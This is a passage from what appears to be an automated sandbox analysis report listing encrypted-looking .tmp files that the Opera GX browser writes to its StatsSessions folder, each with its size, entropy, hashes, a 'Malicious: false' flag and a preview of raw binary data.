                                                                                                                                                                                                              Preview:........XekuPtAlY12xigmZjpXACMgABQPb5B/NLzpFv1G+fyfU=......._...Zj.Mi..m.6...3..._..1....i.]..w}+}....$Q.tJ....KW}.vQ-rSSL.P..%.Pl,....22..h.x[...c.oB..J..u.v.mS...k.rJ...e.......?:E.E#[B.....2.i....m...{...n&..i...W.g....u....MIe!.../.:.....$.\j.........*?..V..,l2.....".j..f..w.Q...h^.....I.).m.=h.]....X..3.....fz.2.;.}...=/..-m.{w..%.cb...s.gr.k[D...I....Y]`..k.YC......6....>|.k.#5...d....<....t....h.......>.|Zc.~4.@.n.L@.^...(......+....y.......P.X.&.......~.....kR.\M%U7.........d..N...FR....K......9.f.X12. .PY..m..&..o.n.%.......z.q.4.5.$.1A{..?...d.y=o/.;..Th....G..a.....#eX..t...R.27{...<t.{$w...y:.h.p.D....2...E...F.j..:...[..-u..L....MH.Y.6V.&P....Ub1.....U:Gj....v...F....}..N......\.".....2..&..x[N.".d.b.....}.x.0..y.. ,..|.b..T.;l.y=x.b.S.G%..,..SNo..#...!u.W<i......]1vN.I.........h"`.z....n.!.*...k..t..3..0...A_Z..0p^..y..j.D!e....gH..n-.|%.R...o.-...S..$i.;....6..._.9>D...7<.r-I.g$s..... .5".l...0.....K.Y.l.......v.3&...M=N...uQ.:..;....e6

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1f8ae6e0-ed52-42e2-9ae2-36094390cafe.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1773
                                                                                                                                                                                                              Entropy (8bit):7.897429703853301
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:20E414E79C8D4161219C648069984BF9
                                                                                                                                                                                                              SHA1:2494337067A8A313F18DCE97BA2FFCD9995B627B
                                                                                                                                                                                                              SHA-256:54DDC709C7F9E326743B18E184E41E8B3AC73D0EBB2A1E6925990E0F1493510E
                                                                                                                                                                                                              SHA-512:19E538B6C80D48F9671CC3A6BFB1E39E61194AA5F9D6A3281F084C25BE8D30C538CBA083F2BF63D06122B5029E622CD0A1C874C670542D64BC90D27636BE7C19
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XXLnKm+eaL+397d988xhq7E1EozbGIPm9d+jLHdaSv9Y=........a.....r.a.>..i..N.+w......~4.^.+.`.......^!!..j.{2.:{....=.[..ZnG+.P...A@.)...uwb...rQ..r..AvY.%....(..;.'...g.u~.S>.L.{V.(.....]...HW.x.C.}....8:...b....lO..F.'&.82=.X...0.W{......I.>.b$^}.@?.#s..<)b..J.o......'.7.<...<:..HiY`.f`Da...`s...gj.7....s.{..............K._..~.&pAUfo2.E"<...B|...z......E.&.......(..6}...v...Ap.U.`2..i..........4....K..k.F..*...L......n2.q..D..-...... . .<.....[.V..m,.1@.Rt......G.{...Kuy..R.VN.m...+...t.b.P8>.e...R...+..9kj..\..a.4.YV.[...l...\O.....B;........{...&Y...I.`...-.rD'.....#..|@...... .*+g..yA...{.P.H..|.m..t..j.*...H.u'.T.2....}.z._..A*$I...O.L..\8.G..J.V.... ...@P..y.@(..3.RbEA...te.{f~D......E][S.ad.A.......ZO.Y.2._j.b....'...<..+...._D..F.....;g..[.8..J.`....5./.G..ks....FV@,.........89.I..m.......S...1..Z7...R.^.....0.i%4..[..u......>o.y..,.......0!`..&.@.Z...0;`../.9<.C0......m.3{"b..I.at..c..q.g#._X.&...phQ^X../...A.....}D...%lG..f.O,..U..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1fa45653-a682-4229-ba26-77e08a211002.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.98055251913505
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:331378894D4E1FA76107CD1402BEFC3C
                                                                                                                                                                                                              SHA1:58774174A053612DF6130FD494D86261F6B6CAAA
                                                                                                                                                                                                              SHA-256:3B77EF8FBF5D6A089FF568C61D82390F62A646F48DDC3CFFA583846CDD171C15
                                                                                                                                                                                                              SHA-512:47F8827D8B1968891BF1281D093D557011CE2023F6D98C1C05EE646AF794C0A78D3F0F47D8CB556AB7DE7A96BD147B597096772C4B6A11F35B200AD6BC959ACD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xaf4NhRpCCf9yjZGe/Odsm8EKgPcgqsrHTyVqb2KNS3k=........._65I..{Je.....X..)..q.g.k'..#.\...V..[..!.r.Q..o-..9.t.1x]....1a.....@..1..9..dD..-...{>........=..eb"?.`/.]a.SSj=6.A...Gx.....h..=..d.i......S3c.H..*....;y.z.A....z.A...z...cw&....o........)".`..#...q...%5..KR.AA7.T.....JU.....;....`..........~.#...sDb.Z.;.....q...+..*......a....~.snPd...}...h..K..t.n.N.M&?.....f$..M.N.mmm...Q.kG..km!...{...a8j.~.{..d..:+..i@...+..d.......M.'`!IS1.{`A.;[.u.7...8.~..:.L.2h....\.3f~D}..%.f.X..W...._V..bP:4.e.n.pO|.7._...cvp"...v.G6......r.d>.6K..H...c.........6...Q..Dy.4v3Y!1....O1.k.m.....m.nK.......3{^..#.(.c2#../PY.V.4]}-b....w:..&..fJ]E.>.q.U.K.>*u.....&.....:o.,`.ik#.:aE..Gay.aB..b..4..N.`...........S...").q..sk....:.......+q....3&.rL.,v.X`.....q.=...]Gt..A.m.u.....#....D.. ..m.+.`.....cu...... .R3Z..'PL.0.......$K....G....2.Z6.SBd7.(...}..s.ZH.u{.3...i..*...H.\.F.Y...(............i....D..Gj..6.QryH..=;~........s}...sZ..2....p..2.O.B(>...H.T.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\25e3e57c-0eda-4264-b39e-9d4eea572f68.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.9825380189595485
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5C9E9DA08C9D8BB51DC5EADD5F597533
                                                                                                                                                                                                              SHA1:9EEEEC019540D04C634B869C0EC48C42E4CC8033
                                                                                                                                                                                                              SHA-256:F1B58BA2B640C8742AC55E40F1975528372F15035B88AFA3B87097FEEC2664E2
                                                                                                                                                                                                              SHA-512:52E89870B210B836687F98314EDEEAA0FF44F4B6392ABF8A48A19F1EDE2D10DC633A90DE81579F83FFCC766E8293DC84A1E012EE025688224A30DF01046E06DC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XxYXP3zwpGcbB3whbBnwt1sWostTSJjhSG2suZzECWQw=.......S.r.w...A."K..xUm.y..eOr....W..'Y....\.u.{..X.".....i3g.......s.s..F4...G.]..t2e.S+..._F<.*..#"MAD{.b.X.....xR3..~![......D,.6..e;....C(9.;..Z.....C...N$j%..2..A._}.F. ...b...../...rs...>)J.O....;.....U...?Byu.|X.........U..p........3..3....=|s.p....}..6..-...+E.X...5.[..[..F..`..ZOQ(r4.1..R.c..x.a...^...B.f.".p...3P4:.G.?.p.9.X2P....X...*..Yx.Z..v%.....1I..|RE..p...".Qg...ca?........i..,...\..m...K...5.K.>.9..'..y....u....IW.5.6...(0..5.9".Q..X86.Z...V..u.yk..YP.Yr..JB..........S...4uT..c..^...Sn.q....v.+..BO....w..R....Y.F..}....u...V.Y.8Q.-$j.bA.,eTR'k)..h.....]&R..q.S.........$.~.X.B....{."....y...3....,`.-.X.!rq....V.Y...<.. ..nEv5`.s4.Lr..0.B.S"T.gg..-.@....ZG.~BX....N..c.5....wEh.q...'.......'&.x.......V...f.s. R/*.jig...^...........4<&.:...'.Y..J^...s.}.X.3-.......J.......*.W*......a.0....!b..........l....$.r....#..~.....7h.T.....,.<?.[H`+..x..ur..T..ro.'...C.At9S"..^..`s%}...8..<..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\278f87e0-1f82-4e47-ac53-197a153484b9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1325
                                                                                                                                                                                                              Entropy (8bit):7.84411978000293
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AE14008E65C86B0B1F1C37FB52F8971B
                                                                                                                                                                                                              SHA1:BBE6218FE33FB1576B2922537A4BF3EF391D5D11
                                                                                                                                                                                                              SHA-256:746C2D642E2E453E9F9FBF590BA8350313C845442BF223F2A91021835A9589F1
                                                                                                                                                                                                              SHA-512:F373BF54D60C50C0A1EC014B5AE3E6035BEB6B581617E98D6AFD57C742641B9CACD702044094271A5477F59A5F399D83A5289BB010F3AC2E28F2BD54136E332F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xmnk2FKjleGFaila0srK8jJzQgtr1G1XU+erl5H2FOXY=.......3..Zd2...Y.n..5..J../.a.....b2@Q...'.3}Z...6\F~.*!...j..{U..r..~m. .V.............}U.3..../ yw.<...s.{.h..G.F.=..Yz...z.;.].o.X......,:.G..m..Lk.r....j9/..z[.r.'{..?`.g ...B..g....&...6.U.(.%..YZ........c.kU,.4.@2...".........!....HA.U/....[..AL..+(@..*.+.........+.r....-.r..=~..S...].....NO.'.H..D+.=g..>.:..V).;..Z.7..JF.=...Y.X..[qJy.0.c..5J;?6X..7?L....#Uw..Ww.o....%.^..=.E.p....M.W...h....:...-..6...j{...5...]..C..Q(...:?Vl.&.c..: ..R+...3...Ri.h.#....(..T..`=.T..ZT..[......3....!.-....8..\xn...[..R...x.. .G...%.ph6d5..E..i...a...;...2.4.y..]"..~..).ET..C.35.......Yh..oC...X.....I.V..1.&..Q..$Y^....<.h.(fM."..@.SD..m..u;oEI.l........ZxQ\S..w...0.`;O.(p...*..f...z..6.<n*..../....8]./..L.2.0..6.....6....z2.7}.l.F..:.......!(G......#G.}."...[_.M.b7.....=C...@....63;|.|..[..p:..4..\|W"Z.}1....>H....D.5....4......1....$\.52U.0.9+.$=....].N.-O$I.<5.....1....S.....f.k..rC.+..C..W.1

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\28d47e78-ebde-45e8-8932-6ba118d067c0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7389
                                                                                                                                                                                                              Entropy (8bit):7.973725744381947
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C07EAEBCE95B5E8D97940B08510638A0
                                                                                                                                                                                                              SHA1:7E5E5EE7E38AD08D29D4936753D7BC1A663F740C
                                                                                                                                                                                                              SHA-256:2DE0E7AC1714CBDE44651F96247AA2623046BF69403844CB1A8479E3745C4EA2
                                                                                                                                                                                                              SHA-512:E8436517BED2CF6BE26EA753FFC632411D2AD9741A9E9B46A9171F679E6955383C92C1DDD506B2D54A627280208F717CA1649CA08145F8281CAE5FDE2AF72CBA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XyLX7lgc0hu4jyqmbCKPgGsAqNqZnHtwVxDn+ZjSn4z0=.....r..Q.SC.h...u.0|.t.....&.T!.6uveQ@..#...Z..zC....%:..w....q...5(..k.&...@.p1.q.Iq...Y.>..'\...s.R..6..|...gA.]..;xz....N..G...Q.[UG/.....X.....a.Un...I.v.Q/....%.`.C.`K0o...a2{..d.<zkUT[$.........yd.=I.|.^..^..)|c../.R0.0..u...Iy,..{......,D=s....l...i.'.d.....%q.<H.W.v4.|...S.@]j$T..Me B.~<.5b...N-I.q.E2..50.I....w..o.,.O<..z...@<...^.F?|U....u95{5g..B3@cG.6...~u....<.....YH.......pM.......m.s5QL<...G.:h.Y.+..........s.d:.I.w..iO<:@.+..)c.E../<Nh[.........X.)f....o +.=..;v..=v`%T.D?.?....vn,!...M..q.p..........M...<..`.'>c..(.MUZ....'9R:.M..^^.!.._.....)_..s...H.<..L.....2..j..}...kiN..=....LO{....?..Tt<...+o..E4..".>...V....45.GO0Y63..(...0....H..o(..$..IE.epwQ7.C.K....."X....RRMW.X,.....?....N..Q.8?.....Cjo.k....8.[...w30r..T.{.\.._,...\;?..M..A*..zZz...X)..i..U=t&.o.2?....".$dt.....n.m.sI.5=}.H..S....]y.CD......`....v..+...@}y..M.Ev.].......D...<w"..~`.2.........E..4.X.^\So.2.O...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\29df1262-c779-4021-8b56-fb5921da0e99.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.98309832477211
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1AE12FFD1F738F8EC0482AD53AEBDB91
                                                                                                                                                                                                              SHA1:7CA7461950CDD7153B59E47DCC15CC8ACB9559C3
                                                                                                                                                                                                              SHA-256:5AEF779619A6BF686C55DCFA386C55DBD591A77303D016DDC708D92830461B37
                                                                                                                                                                                                              SHA-512:28CA57F5EC42D43B55C577F2ACE7038F2257C3E188208064E2672C0811B5D3A6E7ED398D525B93241C5BD2DE068E0082341ABAC070C386EF5D0A9D501436D78F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XgIPe+pXc9Gw5/zH8FZ64s5iiZcsR4kbFzoaULTJcd+I=.........*.....t.!Zd#.;K.k.....|..`.z.....d.....U.x....8.B...I.....\.:)....1u..B..,{..m...=.........'.?.Q5...;.>>&+..j.U...'+....gO.."I.Ogtg.(.hnT.d..........0g8...]H..&^.y.s.]X.1...M(......`.....H........EF.........e...m.....Z.5.....J.xI.'..y[+k.{o...B.r.<..~.\....3...X..Z*.....n....o.].;J.".!.y..O.....]o...t.7;...i.P."J...g. ..n...4./.....9.ms.N..v....r9Qw...}>.B..-&...1k.".[2...P!.C+.0..I_..J.E...V.S/Z>.....+`.......k......:#;.U@.E.F.!.)b_Dv...sU@.=.T[.....KN..B.../g....oz...~w..)..N.\.q<.Tf....JmTLw.5...... 7,O.".f..J.D.:..0d..h..Z..p....XPW.."*.....g.u........:.k...q..!.'p..|.u.........JDC..q.&'.J.}..........`.;..O.......F....A.&.-.6...c$lg.z...=k..wV.T...#.PJ...A...E?...m.#J$.%..^.X...4.7.e..,zI^..}....%.=k=..i..j%g...4.....\.h...[.p...P...MAU..&.%..).`.9....I..|.(.f#Z. '-.o..L....[..A...&../.\.d......z.........Th0.0U.*...^.........'Gw....\.....T..TF.n..Zb....t.i..T.VL.W.f....b.V..M|Z.m.Q.p

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2a41bfb7-fd2a-48c8-8297-4044134ca557.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.981733228165515
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:807BE15F17A60263983764C237177269
                                                                                                                                                                                                              SHA1:99CDFFB2C225E1A3682116BAFFFD0DABB47C29F4
                                                                                                                                                                                                              SHA-256:50F22331935E8EC2E9A3A7F15A8AE1C68B5EA39007DD761BB47D35F6D7447762
                                                                                                                                                                                                              SHA-512:D414459F4F8204357F1C922FAC1086B96AA4BD0D7D1D76ADF131900B1506CD80B5EF2C36CBC6DC2FC5DD91330F0D4E3BEB5D384239638D08BF6D6ACC1D7B5749
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XZg/VVd4VszLCenDNv1xmWH+pcTi5ZyayQ3WqXv+R5lE=.......@).m..\..H\~.g.....\.x...k.lR..z.(B.pW.2.+}..qC...DT .5^Y....Fh1......8.2R.f..?..A t......e3......@.].(<......'g...6.P)..."]H.NA.'<}?...U..>K ..v.<a....c..}a...3w7S.........n.....e.V"...*... .aN.H.ZL..5l_$.pE.V...x.y..=9X........Z....^&..X .{..Z...{.J.W...06tr...6..+....h..l.....Jb.;.w.8_....*..7....f.......eq.b.WV.L...)..v'.|....Ip#...7=.I....1..xF.....R..7I.L.q.P...<.h...'....Y."`.X.................X&.0t{S......J7k....A.....f...>A|...'.Nv.~...\.....h..Uy....C..o..;.a[.. ..&_F.L.....28..w......N8.%..3....,.t.n\P.\.X..:..:0...!....=1..,..~..L x..1...<....3.]T`.^}..O.t...n8.q..x.$...B.P.4.|..=.........H.!SK.t..prO$8...wM|.y`.{5.{....s.n.}.....:..n.. *..`.P._|.k:...U..A.......1..o....3.KP.wQ..a.>.m............kV...q..;NvI..g5......h..7*.R*y....r^!.H434e.[..1.Z....d;,....g.]..n.L../.iWkzt."..v.H.i...w.Z....b#.....Si..0/..kj....o.^..{....@`..LC......tM.J...>...2WBV..q.N.S....a......g[P..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2a5acc49-0a13-4f1c-a8d6-8bafb32693a8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982719920770458
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D88A8964E5DB34F3C4144D6950A8922F
                                                                                                                                                                                                              SHA1:58EC4287393FE010F18301BCF47801FCF7A695E1
                                                                                                                                                                                                              SHA-256:31A5FE9A5828938EA381DE953EB733295BA08013550D2EC1C65AF2B139C4C0C5
                                                                                                                                                                                                              SHA-512:B439E7AB625ED1BD2C3E8D673147183E261087A5333D0173707F2A3E473516BB17894549D776C76E26942242A154F9ECA4A9C15C6B9AE35186C690B497E14E64
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XCAgu8BGtyqbj+JgvRb25Qh46/QrO3P/F/U3kr1VZsWY=........O..5o.b.y#../.d..R....'..$Dn......4..Vy6..T.g.I.u.R..h.K.3.jd...>.%.3.,.W...x.b...Dq..6.<;.m..[1/.....Sc.......#....}..8..xc.#.`p*..cg..D;.....C"...l{.W.....Gz..\..|.@.=.....t..w.....I....&2..ETzm&..n.....K%.N3..7......{.\)..Z+sy1|.&b...<s:.9.../..=v.><.......R.u....v.........,.~..$.s@..`..d(D<a.k=.Z.)xs....h..I.h..gB..tb.n6.gV,0L+..Q.....f....K.{.....Ow./.=!m8.Z...[H.t%q....Kf.H..Q.....&....f......%..%3.-I.... |^..5T....g.>.H.O..... f.{.."..|..<.u.U..~..9.....>.T..`(.fc..u.m....q.b...H.....u..M...F...ur..&.]q....[I.~.....B.d.......tJ....X..Nh.$.0..U.,...w.}..@....foa.^.......)z..A..~y.....y.G..In.~G1Y.$3e....k.mU...{.*...<..........v..P...6...'...1G..k.......w.;Q..g:TV.=...")......Z.f`uY;>....#G.MiE...f7..7..S.m...!~ .......en.v...n.q..B&.(......Y}..t..%.eWsz..Nx.......gA....%.Z_.......}.j...u.~4.n.D=...szX.P3}ujk.c+..|.....a.K..K_.O...leS....a.........%I.&6.mah.U/.....U.b.....l%Q

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2b056363-b4b3-4a4f-a69a-8757be473667.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9534
                                                                                                                                                                                                              Entropy (8bit):7.979346346970104
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D3DADCA3046D0617587C3C10533D52A9
                                                                                                                                                                                                              SHA1:F3C0FEA7A917B7720D0EE5764146B55E4898D75F
                                                                                                                                                                                                              SHA-256:BBD58568AD49AEDCFCD55F48A78017D75CA2103A74B2F57CE75EC50C24302CE9
                                                                                                                                                                                                              SHA-512:1A5D92F1BC1C885EC2B7BD56E5E4F423532061B512566B75FEC97AF5C6F5FAEA6EA583A1294F89C2FBF99B7D1BCCFA38A542D1626328AABDE457BEC923D3808F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XNdXIsfmdiE5mm7w1VgbZyrslV3u/oA22q07JEmpSWgU=........+q.mBv..P.../.....Fg..........:..Ww:..D.X(t..$.......k*.{6.u.y.i)........nfi{...wX..*'....r.Q...K.SG...._.cK.H......./.....;Z..~2@..J...Wwb.m....z...p.^%.......{.i}".}5.~.........r;93...(.-(.....Sr....n.C...I.=.w...b.+D.,B..)....O..O8.X.....@.,.m...1.>I N.`RR..4.Z...k..j.A.........p......|.%.^|^..s......X.r.v[\.6.CE-Z.DurU.....w.:..=.qx=o3xD0I=.....7...Z.3\``.lP.uk+C.T..g.3u..9...{.P..P..N5.A....t.....hV.)!..p..P......]q.P...N.M..AVll.%.bB......7....*_e.)....B...........DA.t.Le.g.%zp{.5..X.Q.....!....Qz............v...7. 8'1..._)...&..E.}....n...B.3....,...Yf.$Y...).....*./.6.....s....L....=?x&....F.FP..At......:S...d.u.Q%...vL....S.@.2./..,0.-..y.Q"...N..sH....;...6.d\.......1.........;..z..C../.5...X`.9.H......C.`..#.l.s.R..7........u..r..s.._....lsf.m...?}..W..-.M..,..gA......X...'..<Q.N8|C.C........~.4pB.J...2.5.g2#i.b.X.pw!N-.@.g.>..^.=......GCE....x..6u....]1.8..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2bb39090-c0af-4c07-b248-2397d8d9ad08.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.973708074892516
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:ED4583072923016A8DFD6F9515F4612F
                                                                                                                                                                                                              SHA1:E093641B6A4714131D31B7ADFF1A1F9DAF68B2FB
                                                                                                                                                                                                              SHA-256:918B53B1EB338C4D7F236CF55BDCA1A2AFFA158030CF87A5DDDBE49916C62CD7
                                                                                                                                                                                                              SHA-512:F14C1F92E7ACB6B9E6A895D63EF50544BF69784C939A9F23CECC5A96BA24E8DBB38B125B2EE690A49FF4441ED79268AF7C1C2C40B99D322123773A4F153CA9E5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XtE8VZRYpGDMrv9XmCMJ0invseGN6pMP9AcXB8hZC2fw=..........S;|.....y..=V....S..x...N....]|...e........H.p...../?8.&....Y....q.... ..n.1..>pw`....[..&.#......y...r.'.j.....0..W.H.q..mD.E.....*.........V...?#.#..0.:....1.~.t.:...].5..t.6g 9F.E..8;.r....^FbH..&j{.l...+|M.`.BXU.>..PDE...w........ot.ig.u..t...rI...wm.|6..d...'1Ce...n]B.y...y..wD...,.G.../.O.......aD...J.].7 .9g.H.1...}...a..^.hQ........j.a.t9...K...h....*..1v-\......w..._../...?D6.`^.iv...mI..c.F.....z......V.Z..=..@X...s.q..e....j...ggp#......x.'=N....L.VYQ.v0....66......dQ.]...,M).K../M..y.}.M..;......Z..;..L..r1..&...<%..*>.....Q .m...|..,G.;4.c..{4r....6-....L./...u...m..").p.||@.X!....:Y..g\.".H5...O....r.d...bl....?........6...fc.w&.kT.Z~V...6.\...{.......rJ4......\"1.`.P6..d....`.d$.tB.T|-...u.D^.....|.7.r..\....L.s.y#...#..i...'R.t..r...j..4fy.....z .;...Coe.....f..*.~)....H.....$.RUO6......,..#.6..|..A;..'...iB..YC.!...;....v.P.......5.....&q<.Sc..$..X.x>YyX.J..X^;

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2c76be72-8514-48e6-9e7f-dd8c6caaa313.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.981177721213821
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7966F0FB6480C6AB36B6C4F6363373FE
                                                                                                                                                                                                              SHA1:CB62F4D8024CCFAE2956F72EA7C1AE9A4291A86C
                                                                                                                                                                                                              SHA-256:BF5D6DEFEEE704D78F76BDD0A8B7509A94EF77BE195F48822D710653B93A068D
                                                                                                                                                                                                              SHA-512:3C4850C805EE049199120AD7D31A5C1B6E3A06ED4492B044DBD973B54518668ED89999D8FE49125DC47ACCA50C3D5CA4721F27EEA5D1701FDF97A4290A6D6F24
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XWF5BVq8YDUdUDRai+Jagda1ax058zZGroC5F7EumOl8=.........`.$Q...y-.}?2^>.@.....B....cP.SL!u.2..E..[;w[.K.dl..#>...._.a..R.V@.....d...g'...I..(d..N."..X..4......ESB...vV..4.).iY..G.z..z...j&.L....v....)..3|..Q.X....]...."+....T.D...`x.0...W.GLM.M.St`..&...dx....xv...A... `.....[.+....Lg..._....5&....D..1..{.z.....U.L...../..Q...%`T.I...&..?'F....e.l..k.{.G%..i.^..B.20`...+.W..<..VM...!0..."$..g.."~.cv...7 ..J..bv..pM.\.<..O;...J...T,..~z%c4.-&.|>t.......^G.l1"..{([.....@G..Z=>/....z...)....h..fZC...."..w.y....P.(...'.1?..W...F,.:~..E...%....j......9&...Z.x0..bS...=gC.8"[<d.}._vs'..%G......... ..5..>.l..S....m..R%H.~#.o.B..w..x.JB.O...fUN...k.....xLC...z.!.A.5=r...;.=..~.S....MU9..... ..'.&..|.............#B....@{.px..H.y?............"....J0.A{.....n..J....T..q..7..Ec....~.......+..e <?)h..y5....=.=...0..T....Nf.u{....M5..a.w"+CI..mE..y.....X..?@..?...=%...6T..I.\%.P..t.e...,..".nr..+.....T.-D*2.P..a....T...z0j.......N>p.1...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2ed74181-a669-4b64-b00e-a536623a3811.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9198
                                                                                                                                                                                                              Entropy (8bit):7.979343759726441
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:50A7073EF66301109DE6A52B52F8DD7A
                                                                                                                                                                                                              SHA1:47B5717138B27C8057F7C91377A55069A89EC2C2
                                                                                                                                                                                                              SHA-256:112FFEB7AD76AD9FB7A9D70C6D75071419EAF4C3FEDCC4D6D214C9E884558B32
                                                                                                                                                                                                              SHA-512:B35B26226444460F24C3B49849AA76CE7F668986672BFAB73265359F952305A3528BC204943590379A23C8E18B73FD9D1089159F64867F92292FAC4E8E6F48F5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
